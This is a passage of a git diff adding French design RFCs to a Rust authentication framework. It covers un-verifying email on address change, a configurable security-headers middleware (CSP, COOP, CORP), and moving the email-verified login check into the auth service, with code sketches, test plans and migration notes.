171 +- Erreur 2 — contrainte unicité : e-mail déjà pris par un autre user → `Validation("Email '…' already exists")` ; pas d’un-verify du caller.
172 +- Erreur 3 — SMTP absent : `EmailConfig::from_env()` fail → update **réussit**, flags un-verify, `tracing` warn, queue vide (pas de panic).
173 +- No-op : `email: Some(old)` identique → `email_verified` reste `true` ; pas d’enqueue validation.
174 +- Username seul : `email: None` → e-mail/flags intacts.
175 +
176 +Tests d’intégration :
177 +
178 +- Consommer un token `EmailValidationService` après v1 → `email_verified=true`, `on_email_verified` appelé (handler `verify_email` inchangé).
179 +- Admin `update_user` : même un-verify (test service suffit si le handler délègue).
180 +- Non-régression : `create_user` toujours `email_verified=false`.
181 +
182 +Tests de non-régression :
183 +
184 +- Code consommateur **compile**.
185 +- `PasswordChangeService::invalidate_on_email_change` toujours appelé par l’UI profil (hors core).
186 +
187 +Doctests :
188 +
189 +- Rustdoc `update_profile` : exemple copie/collable « changing email clears verification ». Exécutable seulement avec DB → ` ```rust,ignore ` + un paragraphe rustdoc anglais. Si un test unitaire documente le contrat, le doctest ignore est acceptable (même pattern RFC 0036 pour les services I/O).
190 +
191 +Benchs : non (path profil, pas bcrypt/JWT). Deux `INSERT` queue, négligeables.
192 +
193 +Les snippets `change_email` ne s’exécutent pas tant que le comportement n’est pas livré.
194 +
195 +## Migration guide
196 +
197 +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge.
198 +
199 +```markdown
200 +### API changes
201 +
202 +**Before (v1.0.x)** :
203 +`UserService::update_profile` écrivait `users.email` et **conservait**
204 +`email_verified` / `email_verified_at`. Seul le handler UI profil envoyait
205 +`account_modified` (old+new), sans lien de validation.
206 +
207 +**After (vX.Y.Z)** :
208 +Si la nouvelle adresse (trim) diffère de l'ancienne :
209 +`email_verified=false`, `email_verified_at=NULL`, enqueue validation vers
210 +la **nouvelle** boîte (`EmailValidationService::send_validation_email`),
211 +alerte vers l'**ancienne**. `on_email_verified` inchangé.
212 +Signature `update_profile` inchangée. Pas de table `pending_email_changes`
213 +(follow-up v2).
214 +
215 +Breaking : un utilisateur vérifié qui change d'e-mail ne peut plus se
216 +connecter tant que `validation_email_required` / `validation_email_requise`
217 +est vrai (défaut `true`) et qu'il n'a pas cliqué le lien.
218 +
219 +```rust
220 +UserService::update_profile(db, user_id, None, Some(new_email)).await?;
221 +// user.email_verified == false until verify-email token is consumed
222 +```
223 +
224 +### Migration steps
225 +
226 +1. Bump `rustwarden-core` à la version qui livre RFC 0038.
227 +2. Aucune migration SQL.
228 +3. `rustwarden-ui` : ne plus enqueue `account_modified` pour le seul
229 + changement d'e-mail (le core s'en charge) ; garder
230 + `invalidate_on_email_change`.
231 +4. Gitrust / autres : supprimer tout patch local qui re-vérifiait à la
232 + main ; prévenir le support (lock-out attendu après changement d'e-mail).
233 +5. Vérifier SMTP / worker `email_queue` en prod avant le bump (sinon
234 + users unverified sans mail — `resend-verification` reste disponible).
235 +```
236 +
237 +## Open questions
238 +
239 +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus :
240 +
241 +- [x] **Type de queue de l’alerte** : `"email_changed"` dédié vs `"account_modified"` existant (`AccountModifiedTemplate`) ? **Résolu (2026-09-18) : réutiliser `account_modified` / `AccountModifiedTemplate` (champ Email), déjà traduit — pas de nouveau template.**
242 +- [x] **Trim / casse** : comparaison exacte (recommandé, aligné unicité PostgreSQL sensible à la casse) vs fold ASCII ? **Résolu (2026-09-18) : comparaison exacte après trim, pas de fold ASCII (aligné unicité PostgreSQL sensible à la casse).**
243 +- [x] **Admin un-verify** : confirmer le même contrat (recommandé) plutôt qu’un bypass `email_verified=true` réservé admin. **Résolu (2026-09-18) : même contrat pour le chemin admin — pas de bypass `email_verified=true` réservé admin.**
244 +- [x] **v2** : confirmer follow-up (cette RFC, score v1 ≥ 25) plutôt que fusionner les deux. **Résolu (2026-09-18) : v1 livrée seule ; `pending_email_changes` (v2) confirmée en follow-up hors de ce train.**
245 +- [x] **Tracking GitHub** : ouvrir l’issue avant `Under Review`. **Résolu (2026-09-18) : suivi interne via docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md.**
246 +
247 +## Tracking issue
248 +
249 +À ouvrir sur le dépôt Rustwarden (labels `area:auth` + `security` + `rfc`) en référençant Task 15 et Gitrust. Pas d’URL tant que le Draft n’est pas soumis.
250 +
251 +---
252 +
253 +## Score d'évaluation (rempli par les reviewers)
254 +
255 +Notes **proposées par l’auteur** (Draft) pour **l’alternative A (v1)** ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35. v2 hors merge si ce total tient.
256 +
257 +| Critère | Note (1-5) | Commentaire |
258 +|---|---|---|
259 +| Généralité | 5 | Tous les call sites `update_profile` (UI, admin, Gitrust, headless). |
260 +| Stabilité API | 3 | Signature identique mais breaking comportemental + lock-out login (voulu). |
261 +| Performance | 5 | Deux inserts queue hors hot path login ; pas de table extra. |
262 +| Sécurité | 5 | Coupe le flag vérifié d’une adresse non prouvée ; alerte l’ancienne boîte. |
263 +| Complexité d'implémentation | 4 | Branche ~20 lignes + enqueue best-effort ; pas de migration. |
264 +| Charge de maintenance | 4 | Réutilise validation/queue existants ; v2 évité pour l’instant. |
265 +| Documentation | 4 | RFC + CHANGELOG + rustdoc ; UI à dédupliquer. |
266 +| **Total** | **30/35** | (≥ 25 → v2 en follow-up, pas dans ce PR) |
A docs/rfcs/0039-security-headers-config.md
+365 -0
@@ -0,0 +1,365 @@
1 +# RFC 0039 — `SecurityHeadersConfig` (CSP / COOP / CORP additifs)
2 +
3 +- **Auteur** : EBO (origine audit Gitrust / patch 1.0.1)
4 +- **Date** : 2026-09-18
5 +- **Statut** : Accepted (2026-09-18)
6 +- **Apps consommatrices concernées** : Gitrust (pourra retirer `SetResponseHeaderLayer::overriding`) ; `rustwarden-ui` / `rustwarden-app` ; tout consommateur de `RustwardenApp::builder()`
7 +- **Crate cible** : `rustwarden-core`
8 +- **Origine** : constats M-10 + F-UI du plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 16). CSP Alpine : [`docs/plans/PLAN_CSP_HTMX.md`](../plans/PLAN_CSP_HTMX.md).
9 +
10 +## Summary
11 +
12 +Ajouter une config **additive** `SecurityHeadersConfig` (CSP configurable, COOP/CORP opt-in) branchée sur `security_headers_middleware` par **capture `Arc` à la construction**, sans changer la CSP par défaut du patch 1.0.1 (`unsafe-inline` / `unsafe-eval` conservés). Phase 2 (après Accept **et** Alpine CSP) : défaut sans `'unsafe-eval'`.
13 +
14 +## Motivation
15 +
16 +### Problème concret (M-10)
17 +
18 +[`security_headers_middleware`](../../crates/rustwarden-core/src/app.rs) (~L853–895) pose des en-têtes **hardcodés**, dont :
19 +
20 +```text
21 +content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
22 +```
23 +
24 +`'unsafe-inline'` + `'unsafe-eval'` sur `script-src` annulent l’essentiel de la protection XSS (finding H2 / M-10). **Gitrust** overlay déjà une politique plus stricte via `tower_http::SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)` *après* le middleware framework.
25 +
26 +Le middleware est monté **à l’extérieur** des `Extension(...)` :
27 +
28 +```699:717:crates/rustwarden-core/src/app.rs
29 + let app = router.with_state(db).layer(
30 + ServiceBuilder::new()
31 + .layer(cors_layer)
32 + .layer(axum::middleware::from_fn(security_headers_middleware))
33 + .layer_fn(move |service| AdminService::new(service, db_for_admin.clone()))
34 + // ...
35 + .layer(axum::Extension(i18n_service))
36 + .layer(axum::Extension(hooks))
37 + .layer(axum::Extension(auth_config))
38 + .layer(axum::Extension(db_for_ext))
39 + .into_inner(),
40 + );
41 +```
42 +
43 +Dans Tower/Axum, le **premier** `.layer()` de `ServiceBuilder` est le plus **externe** : il voit la requête **avant** que les `Extension` internes ne soient insérées. Un `request.extensions().get::<Arc<SecurityHeadersConfig>>()` dans `security_headers_middleware` est **toujours `None`** sur le chemin aller. D’où : **pas `Extension`**.
44 +
45 +### Pourquoi ne pas durcir le défaut dans 1.0.1
46 +
47 +Retirer `'unsafe-eval'` casse l’admin UI : Alpine.js standard utilise `new Function()` pour `x-data` / `x-bind` ([`PLAN_CSP_HTMX.md`](../plans/PLAN_CSP_HTMX.md) Phase 1). Le patch 1.0.1 n’a **pas** changé la CSP. Cette RFC livre d’abord l’**API** pour que Gitrust (et d’autres) cessent d’overrider en couche externe ; le durcissement du **défaut** est la Phase 2, après migration `@alpinejs/csp`.
48 +
49 +Pas de COOP/CORP aujourd’hui. Gitrust / isolation `Cross-Origin-Opener-Policy: same-origin` doivent pouvoir s’activer **sans** fork du middleware.
50 +
51 +### Qui est impacté
52 +
53 +- Gitrust : drop `SetResponseHeaderLayer::overriding` une fois le builder exposé.
54 +- Apps qui gardent le défaut : **aucun** changement d’en-têtes (même CSP).
55 +- `rustwarden-ui` : Phase 2 seulement, après Alpine CSP.
56 +
57 +### Si on ne fait rien
58 +
59 +Chaque consommateur réimplémente un overlay Tower. Le défaut reste indurcissable sans patch core. COOP/CORP restent absents du framework.
60 +
61 +### Urgence
62 +
63 +Pas un patch 1.0.1. RFC obligatoire : nouvel item `pub` + builder. Le défaut CSP ne bouge **pas** dans le premier PR d’implémentation.
64 +
65 +## Non-goals
66 +
67 +- **Pas de changement de CSP par défaut** dans le train d’implémentation initial (ni 1.0.1, ni le PR « API additive »). `'unsafe-inline'` et `'unsafe-eval'` restent dans `Default`.
68 +- **Pas de nonce / hash CSP** (Phases 2–4 de `PLAN_CSP_HTMX.md`).
69 +- **Pas de COOP/CORP on by default** : `Option::None` (opt-in).
70 +- **Pas d’injection via `Extension`** (piège d’ordre des layers, ci-dessus).
71 +- **Pas de toucher** à `X-Content-Type-Options`, `X-Frame-Options`, `X-XSS-Protection`, `Referrer-Policy`, `Permissions-Policy`, HSTS (`APP_DEBUG`) dans cette RFC — ils restent hardcodés comme aujourd’hui.
72 +- **Pas de CORS** (déjà `CorsLayer` séparé).
73 +
74 +## API proposée
75 +
76 +Nouveau fichier `crates/rustwarden-core/src/config/security_headers.rs`, `pub mod security_headers` dans [`config/mod.rs`](../../crates/rustwarden-core/src/config/mod.rs). Re-export optionnel prelude : `SecurityHeadersConfig` (recommandé, item d’usage builder).
77 +
78 +### Config
79 +
80 +```rust
81 +// crates/rustwarden-core/src/config/security_headers.rs
82 +use std::borrow::Cow;
83 +
84 +/// Default CSP shipped since SEC-H1 / 1.0.1. Do not tighten in the first
85 +/// implementation PR (Alpine.js still needs 'unsafe-eval').
86 +pub const DEFAULT_CONTENT_SECURITY_POLICY: &str =
87 + "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'";
88 +
89 +/// Candidate default **after** PLAN_CSP_HTMX.md Phase 1 (Alpine CSP build).
90 +/// Not used by [`SecurityHeadersConfig::default`] until Phase 2 of this RFC.
91 +pub const CSP_WITHOUT_UNSAFE_EVAL: &str =
92 + "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'";
93 +
94 +/// Configurable security headers applied by `security_headers_middleware`.
95 +#[derive(Clone, Debug)]
96 +pub struct SecurityHeadersConfig {
97 + /// `Content-Security-Policy` value. Default keeps 1.0.1 (unsafe-inline/eval).
98 + pub content_security_policy: Cow<'static, str>,
99 + /// `Cross-Origin-Opener-Policy`. `None` = do not set the header (opt-in).
100 + pub cross_origin_opener_policy: Option<Cow<'static, str>>,
101 + /// `Cross-Origin-Resource-Policy`. `None` = do not set the header (opt-in).
102 + pub cross_origin_resource_policy: Option<Cow<'static, str>>,
103 +}
104 +
105 +impl Default for SecurityHeadersConfig {
106 + fn default() -> Self {
107 + Self {
108 + content_security_policy: Cow::Borrowed(DEFAULT_CONTENT_SECURITY_POLICY),
109 + cross_origin_opener_policy: None,
110 + cross_origin_resource_policy: None,
111 + }
112 + }
113 +}
114 +
115 +impl SecurityHeadersConfig {
116 + /// Opt-in isolation headers commonly used by Gitrust.
117 + pub fn with_same_origin_isolation(mut self) -> Self {
118 + self.cross_origin_opener_policy = Some(Cow::Borrowed("same-origin"));
119 + self.cross_origin_resource_policy = Some(Cow::Borrowed("same-origin"));
120 + self
121 + }
122 +}
123 +```
124 +
125 +Les snippets sont **proposés** (Draft). `DEFAULT_CONTENT_SECURITY_POLICY` est la chaîne **exacte** lue dans `app.rs` L881 (vérifiée 2026-09-18).
126 +
127 +### Builder
128 +
129 +```rust
130 +impl RustwardenBuilder {
131 + /// Override security headers (CSP / optional COOP / CORP).
132 + ///
133 + /// Default: [`SecurityHeadersConfig::default`] (current 1.0.1 CSP,
134 + /// no COOP/CORP). Call this to let Gitrust drop
135 + /// `SetResponseHeaderLayer::overriding`.
136 + pub fn security_headers(mut self, cfg: SecurityHeadersConfig) -> Self {
137 + self.security_headers = cfg;
138 + self
139 + }
140 +}
141 +```
142 +
143 +Champ nouveau sur `RustwardenBuilder` : `security_headers: SecurityHeadersConfig` initialisé à `SecurityHeadersConfig::default()` dans `Default`.
144 +
145 +Usage consommateur :
146 +
147 +```rust
148 +use rustwarden_core::app::RustwardenApp;
149 +use rustwarden_core::config::security_headers::SecurityHeadersConfig;
150 +
151 +async fn build_gitrust() -> anyhow::Result<()> {
152 + let cfg = SecurityHeadersConfig::default()
153 + .with_same_origin_isolation();
154 + // Optionally: cfg.content_security_policy = Cow::Borrowed("...");
155 + let _app = RustwardenApp::builder()
156 + .from_env()
157 + .security_headers(cfg)
158 + .build()
159 + .await?;
160 + Ok(())
161 +}
162 +```
163 +
164 +`from_env()` actuel ne lit **pas** de CSP env — volontaire (politique dans le code / builder, pas une string `.env` non revue). Open question si un `CSP=` est souhaité plus tard.
165 +
166 +### Câblage middleware — capture `Arc`, pas `Extension`
167 +
168 +Même patron de **clone dans la closure** que `locale_middleware` (`app.rs` ~L708–712). Position **inchangée** (toujours le layer externe juste après CORS) :
169 +
170 +```rust
171 +let headers_cfg = std::sync::Arc::new(self.security_headers.clone());
172 +
173 +.layer(axum::middleware::from_fn({
174 + let cfg = headers_cfg.clone();
175 + move |req, next| {
176 + let cfg = cfg.clone();
177 + async move { security_headers_middleware(cfg, req, next).await }
178 + }
179 +}))
180 +```
181 +
182 +Signature interne (reste `pub(crate)` / privée au module `app`) :
183 +
184 +```rust
185 +async fn security_headers_middleware(
186 + cfg: Arc<SecurityHeadersConfig>,
187 + request: Request,
188 + next: Next,
189 +) -> Response {
190 + let mut response = next.run(request).await;
191 + let headers = response.headers_mut();
192 + // ... existing X-Content-Type-Options, X-Frame-Options, etc. ...
193 +
194 + let csp = HeaderValue::from_str(cfg.content_security_policy.as_ref())
195 + .unwrap_or_else(|_| HeaderValue::from_static(DEFAULT_CONTENT_SECURITY_POLICY));
196 + headers.insert(HeaderName::from_static("content-security-policy"), csp);
197 +
198 + if let Some(coop) = cfg.cross_origin_opener_policy.as_deref() {
199 + if let Ok(val) = HeaderValue::from_str(coop) {
200 + headers.insert(
201 + HeaderName::from_static("cross-origin-opener-policy"),
202 + val,
203 + );
204 + }
205 + }
206 + if let Some(corp) = cfg.cross_origin_resource_policy.as_deref() {
207 + if let Ok(val) = HeaderValue::from_str(corp) {
208 + headers.insert(
209 + HeaderName::from_static("cross-origin-resource-policy"),
210 + val,
211 + );
212 + }
213 + }
214 + // HSTS inchangé (APP_DEBUG)
215 + response
216 +}
217 +```
218 +
219 +`from_str` invalide → fallback CSP 1.0.1 (pas de `unwrap` sur le hot path). COOP/CORP mal formés : skip + `tracing::warn`, pas de 500.
220 +
221 +Constitution : pas d’`unwrap`/`expect` hors tests.
222 +
223 +### Phase 2 (après Accept de cette RFC **et** Alpine CSP)
224 +
225 +Prérequis : [`PLAN_CSP_HTMX.md`](../plans/PLAN_CSP_HTMX.md) Phase 1 (`@alpinejs/csp`, inventaire `x-data` inline → `Alpine.data`).
226 +
227 +Alors seulement : `Default` pointe sur `CSP_WITHOUT_UNSAFE_EVAL` (retirer `'unsafe-eval'`, **garder** `'unsafe-inline'` jusqu’aux phases suivantes du plan). C’est un **changement de défaut** : PR séparé, mention CHANGELOG `Security`, éventuellement minor. Hors du premier PR d’implémentation de **cette** RFC.
228 +
229 +Gitrust, une fois le builder livré (Phase 1 API), pose sa CSP (déjà sans eval) via `.security_headers(cfg)` et **retire** `SetResponseHeaderLayer::overriding`.
230 +
231 +## Analyse de compatibilité
232 +
233 +Checklist :
234 +
235 +- [ ] API existante non modifiée → le middleware existait déjà (privé).
236 +- [x] API existante étendue avec défaut → **non-breaking** (minor) : `security_headers()` optionnel, `Default` = CSP actuelle.
237 +- [ ] API existante modifiée ou supprimée → non.
238 +- [x] Nouveau comportement par défaut → **non** en Phase 1 API. Phase 2 = oui (sans eval) — PR distinct.
239 +- [ ] Changement de schéma DB → non.
240 +- [ ] Changement de format sérialisé → non (en-têtes HTTP seulement).
241 +
242 +Apps qui n’appellent pas le builder method : bit-identical headers vs 1.0.1.
243 +
244 +## Alternatives considérées
245 +
246 +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif.
247 +
248 +### Alternative A (recommandée) : config additive + capture `Arc` + défaut 1.0.1
249 +
250 +**Pros** : Gitrust drop l’overlay ; COOP/CORP opt-in ; zéro casse UI ; évite le piège `Extension` (layer externe). Phase 2 documentée, pas mélangée.
251 +
252 +**Cons** : la CSP par défaut reste faible jusqu’à Alpine CSP. Deux PR (API, puis défaut).
253 +
254 +### Alternative B : changer le défaut CSP maintenant (sans `'unsafe-eval'`)
255 +
256 +**Pros** : ferme M-10 plus vite pour les apps UI vanilla.
257 +
258 +**Cons** : **casse l’admin** (Alpine `new Function()`). Interdit explicitement pour 1.0.1 et pour le premier train de cette RFC. Gitrust n’a pas ce problème (overlay) mais `rustwarden-ui` / apps wizard si.
259 +
260 +### Alternative C (ne rien faire / garder `SetResponseHeaderLayer::overriding`)
261 +
262 +**Pros** : zéro coût upstream. Gitrust conserve son workaround.
263 +
264 +**Cons** : chaque consommateur réinvente l’override ; COOP/CORP absents du framework ; Phase 2 défaut impossible à partager. Divergence M-10.
265 +
266 +## Testing plan
267 +
268 +Tests unitaires :
269 +
270 +- Happy path : `SecurityHeadersConfig::default().content_security_policy` **égale** à la constante actuelle `app.rs` L881 (test de non-dérive).
271 +- Erreur 1 — CSP non-ASCII / CR-LF : `from_str` fail → réponse sert `DEFAULT_CONTENT_SECURITY_POLICY`, pas de panic.
272 +- Erreur 2 — COOP `Some("same-origin\n")` invalide → header COOP **absent**, CSP toujours présent.
273 +- Erreur 3 — `with_same_origin_isolation()` : COOP et CORP `same-origin` ; sans appel, les deux absents.
274 +
275 +Tests d’intégration (middleware / client axum fake) :
276 +
277 +- Router de test avec le `from_fn` + `Arc` clone : `GET /` → `content-security-policy` défaut ; **pas** de `cross-origin-opener-policy`.
278 +- Même router avec `with_same_origin_isolation()` : les trois en-têtes présents.
279 +- Régression : `x-frame-options: DENY`, `x-content-type-options: nosniff` toujours là.
280 +- Contrôle négatif **Extension** : ne **pas** injecter `Extension(cfg)` et vérifier que le middleware (Arc capturé) fonctionne quand même — documente le piège.
281 +
282 +Tests de non-régression :
283 +
284 +- Consommateurs qui n’appellent pas `.security_headers()` **compilent** (`Default` du builder).
285 +- `cargo test` UI non requis au PR API (Phase 2 seulement).
286 +
287 +Doctests :
288 +
289 +- Au moins un exemple copie/collable sur `SecurityHeadersConfig::default` / `with_same_origin_isolation` (sans I/O), exécuté comme doctest.
290 +
291 +Benchs : non (insert headers, hors bcrypt). Pas de seuil 10 %.
292 +
293 +Les exemples builder `.build().await` restent `ignore` (DB). Le doctest de la struct `Default` est exécutable.
294 +
295 +## Migration guide
296 +
297 +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge.
298 +
299 +```markdown
300 +### API changes
301 +
302 +**Before (v1.0.1)** :
303 +`security_headers_middleware` hardcodait la CSP (avec `'unsafe-inline'`
304 +et `'unsafe-eval'`). Pas de COOP/CORP. Gitrust overlay
305 +`SetResponseHeaderLayer::overriding`.
306 +
307 +**After (vX.Y.Z)** :
308 +Nouveau `rustwarden_core::config::security_headers::SecurityHeadersConfig`.
309 +`RustwardenApp::builder().security_headers(cfg)`. Défaut **identique**
310 +à 1.0.1. COOP/CORP opt-in (`None`). Le middleware capte `Arc<…>` à la
311 +construction (pas `Extension` : le layer est plus externe que les
312 +`Extension` dans `app.rs`).
313 +
314 +Phase 2 (PR ultérieur, après Alpine `@alpinejs/csp`, cf.
315 +`docs/plans/PLAN_CSP_HTMX.md`) : `Default` sans `'unsafe-eval'`.
316 +
317 +```rust
318 +use rustwarden_core::config::security_headers::SecurityHeadersConfig;
319 +
320 +RustwardenApp::builder()
321 + .from_env()
322 + .security_headers(SecurityHeadersConfig::default().with_same_origin_isolation())
323 + .build()
324 + .await?;
325 +```
326 +
327 +### Migration steps
328 +
329 +1. Bump `rustwarden-core` à la version qui livre RFC 0039 (Phase 1 API).
330 +2. Gitrust : passer la CSP actuelle au builder ; **retirer**
331 + `SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)`.
332 +3. Apps UI vanilla : ne rien faire (défaut inchangé).
333 +4. Ne **pas** retirer `'unsafe-eval'` du défaut tant que
334 + `PLAN_CSP_HTMX.md` Phase 1 n'est pas faite.
335 +```
336 +
337 +## Open questions
338 +
339 +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus :
340 +
341 +- [x] **Re-export prelude** : `SecurityHeadersConfig` dans `prelude` ou seulement `config::security_headers` ? **Résolu (2026-09-18) : oui — `SecurityHeadersConfig` re-exporté dans le prelude (item d'usage builder).**
342 +- [x] **Env `CSP=`** : hors v1 (recommandé) vs lu par `from_env()` ? **Résolu (2026-09-18) : hors v1 — la politique vit dans le code/builder, pas dans une string `.env` non revue.**
343 +- [x] **Phase 2 dans cette RFC** (acceptée comme intention) vs RFC 00xx dédiée au changement de défaut ? Recommandé : rester ici comme phase datée, PR séparé. **Résolu (2026-09-18) : reste dans cette RFC comme phase datée ; PR séparé après PLAN_CSP_HTMX.md Phase 1 — hors du train d'implémentation actuel.**
344 +- [x] **Tracking GitHub** : ouvrir l’issue avant `Under Review`. **Résolu (2026-09-18) : suivi interne via docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md.**
345 +
346 +## Tracking issue
347 +
348 +À ouvrir sur le dépôt Rustwarden (labels `area:http` + `security` + `rfc`) en référençant M-10, `PLAN_CSP_HTMX.md` et Gitrust. Pas d’URL tant que le Draft n’est pas soumis.
349 +
350 +---
351 +
352 +## Score d'évaluation (rempli par les reviewers)
353 +
354 +Notes **proposées par l’auteur** (Draft) ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35.
355 +
356 +| Critère | Note (1-5) | Commentaire |
357 +|---|---|---|
358 +| Généralité | 5 | Tous les builders ; Gitrust retire un overlay ; COOP/CORP partagés. |
359 +| Stabilité API | 5 | Ajout pur + `Default` bit-identical 1.0.1 ; pas de breaking Phase 1. |
360 +| Performance | 5 | Clone `Arc` + `HeaderValue::from_str` une fois par réponse ; négligeable. |
361 +| Sécurité | 4 | API de durcissement ; le défaut reste faible jusqu’à Phase 2 (volontaire). |
362 +| Complexité d'implémentation | 4 | Un struct + champ builder + closure clone ; piège Extension documenté. |
363 +| Charge de maintenance | 4 | Une constante CSP à ne pas faire dériver (`DEFAULT_*` + test d’égalité). |
364 +| Documentation | 4 | RFC + rustdoc + PLAN_CSP_HTMX ; CHANGELOG Phase 1 vs 2. |
365 +| **Total** | **31/35** | (≥ 25 pour Accepted) |
A docs/rfcs/0040-authenticate-user-email-verified.md
+320 -0
@@ -0,0 +1,320 @@
1 +# RFC 0040 — `AuthService::authenticate_user` honore `validation_email_required`
2 +
3 +- **Auteur** : EBO (origine audit Gitrust / patch 1.0.1)
4 +- **Date** : 2026-09-18
5 +- **Statut** : Accepted (2026-09-18)
6 +- **Apps consommatrices concernées** : Gitrust (SSR / appels directs au service) ; `rustwarden-ui` (déjà via `POST /api/v1/auth/login`) ; tout consommateur de `rustwarden-core` qui appelle `AuthService::authenticate_user`
7 +- **Crate cible** : `rustwarden-core`
8 +- **Origine** : plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 17). Contrat limiteur : finding E-2 / layer `auth_ip_rate_limit` 1.0.1.
9 +
10 +## Summary
11 +
12 +Déplacer le contrôle « e-mail vérifié » de `auth/handlers.rs` `login` vers `AuthService::authenticate_user`, avec le même `AppSettingsService::get_bool_with_fallback(["validation_email_required", "validation_email_requise"], true)`, pour que Gitrust et tout SSR qui appelle le service ne puissent plus le contourner.
13 +
14 +## Motivation
15 +
16 +### Problème concret
17 +
18 +Le login JSON fait :
19 +
20 +1. [`AuthService::authenticate_user`](../../crates/rustwarden-core/src/services/auth_service.rs) (~L109–121) : `verify_credentials` + log `must_change_password` (**sans** regarder `email_verified`).
21 +2. [`login`](../../crates/rustwarden-core/src/auth/handlers.rs) (~L313–340) : lit le setting puis bloque.
22 +
23 +```318:340:crates/rustwarden-core/src/auth/handlers.rs
24 + let email_validation_required =
25 + crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback(
26 + &db,
27 + &["validation_email_required", "validation_email_requise"],
28 + true,
29 + )
30 + .await
31 + .unwrap_or(true);
32 +
33 + if email_validation_required && !user.email_verified {
34 + let reason = "email_not_verified";
35 + // ...
36 + AuthLoggingService::log_blocked_login(...).await?;
37 + return Err(AppError::Validation(
38 + "Votre email n'est pas vérifié. Cliquez sur « Renvoyer l'email de validation » pour recevoir un nouveau lien.".to_string(),
39 + ));
40 + }
41 +```
42 +
43 +Call sites de `authenticate_user` dans ce dépôt : **uniquement** `handlers::login`. Gitrust (et tout handler SSR custom) qui appelle le **service** saute les lignes 313–340 : mot de passe OK + `email_verified=false` → session/JWT quand même.
44 +
45 +`verify_credentials` (~L50) reste le primitive « mot de passe seulement » — utilisé par [`totp_handler`](../../crates/rustwarden-ui/src/handlers/totp_handler.rs) (~L336) pour re-prompt password au setup 2FA. **Ne pas** y coller le check e-mail.
46 +
47 +### Bootstrap admin
48 +
49 +[`ensure_default_admin`](../../crates/rustwarden-core/src/services/default_admin_service.rs) (~L86) pose déjà `email_verified = Set(true)` après `create_user`. **Ne pas** retravailler ce seed. L’admin par défaut passe le nouveau check. Les users `register` restent `email_verified=false` ([`create_user`](../../crates/rustwarden-core/src/services/user_service.rs) ~L50).
50 +
51 +### Qui est impacté
52 +
53 +- Gitrust / apps qui login via le service au lieu de `/api/v1/auth/login`.
54 +- `rustwarden-ui` : [`login.html`](../../crates/rustwarden-ui/templates/login.html) fait déjà `fetch('/api/v1/auth/login')` — comportement **identique** après déplacement (le handler délègue).
55 +- Utilisateurs non vérifiés : toujours bloqués si le setting est vrai (défaut `true`).
56 +
57 +### Si on ne fait rien
58 +
59 +Politique `validation_email_required` = théâtre HTTP. Un consommateur « bien intentionné » qui factorise le login sur `authenticate_user` ouvre un bypass. RFC 0038 (un-verify au change d’e-mail) serait inefficace sur ces chemins.
60 +
61 +### Urgence
62 +
63 +Pas un patch 1.0.1. Durcissement de la porte d’auth unique. Breaking comportemental **voulu** pour les callers service.
64 +
65 +## Non-goals
66 +
67 +- **Pas de nouveau middleware browser obligatoire** (E-2). Le limiteur login **est** le layer [`auth_ip_rate_limit`](../../crates/rustwarden-core/src/middleware/rate_limit.rs) (~L223) monté sur [`auth_api_routes`](../../crates/rustwarden-core/src/auth/routes.rs) (`/api/v1/auth/login`, register, refresh, forgot-password, 2FA verify, resend-verification). Helper public inchangé : `check_auth_rate_limit(&HeaderMap)`.
68 +- **SSR `POST /login`** : soit appeler `check_auth_rate_limit` (ou le layer), soit **passer par** `POST /api/v1/auth/login` (comme `rustwarden-ui`). Cette RFC **n’ajoute pas** de layer CSRF/rate-limit sur les routes HTML.
69 +- **Pas de rework** `default_admin_service` / seed `email_verified=true`.
70 +- **Pas de check dans** `verify_credentials` (setup TOTP, re-auth password).
71 +- **Pas de révocation** des JWT déjà émis pour un compte non vérifié.
72 +- **Pas de changement** du message d’erreur actuel (français, `AppError::Validation`) au premier PR — l’UI parse `err.error` / `err.message`.
73 +- **Pas de newtype / nouvel `AppError::EmailNotVerified`** dans cette RFC (open question).
74 +- **Pas d’OAuth** : le signup OAuth a son propre `email_verified` provider.
75 +
76 +## API proposée
77 +
78 +Signature **inchangée** :
79 +
80 +```rust
81 +// crates/rustwarden-core/src/services/auth_service.rs
82 +impl AuthService {
83 + /// Authenticate user (password + optional email-verified policy).
84 + ///
85 + /// 1. [`Self::verify_credentials`]
86 + /// 2. Log `must_change_password` (does not block)
87 + /// 3. If `validation_email_required` / `validation_email_requise`
88 + /// (default `true`) and `!user.email_verified` → [`AppError::Validation`]
89 + pub async fn authenticate_user(
90 + db: &DatabaseConnection,
91 + identifier: &str,
92 + password: &str,
93 + ) -> Result<user::Model, AppError> { /* ... */ }
94 +}
95 +```
96 +
97 +Corps **après Accept** (proposition ; Draft, ne compile pas tel quel tant que les `use` ne sont pas ajoutés) :
98 +
99 +```rust
100 +pub async fn authenticate_user(
101 + db: &DatabaseConnection,
102 + identifier: &str,
103 + password: &str,
104 +) -> Result<user::Model, AppError> {
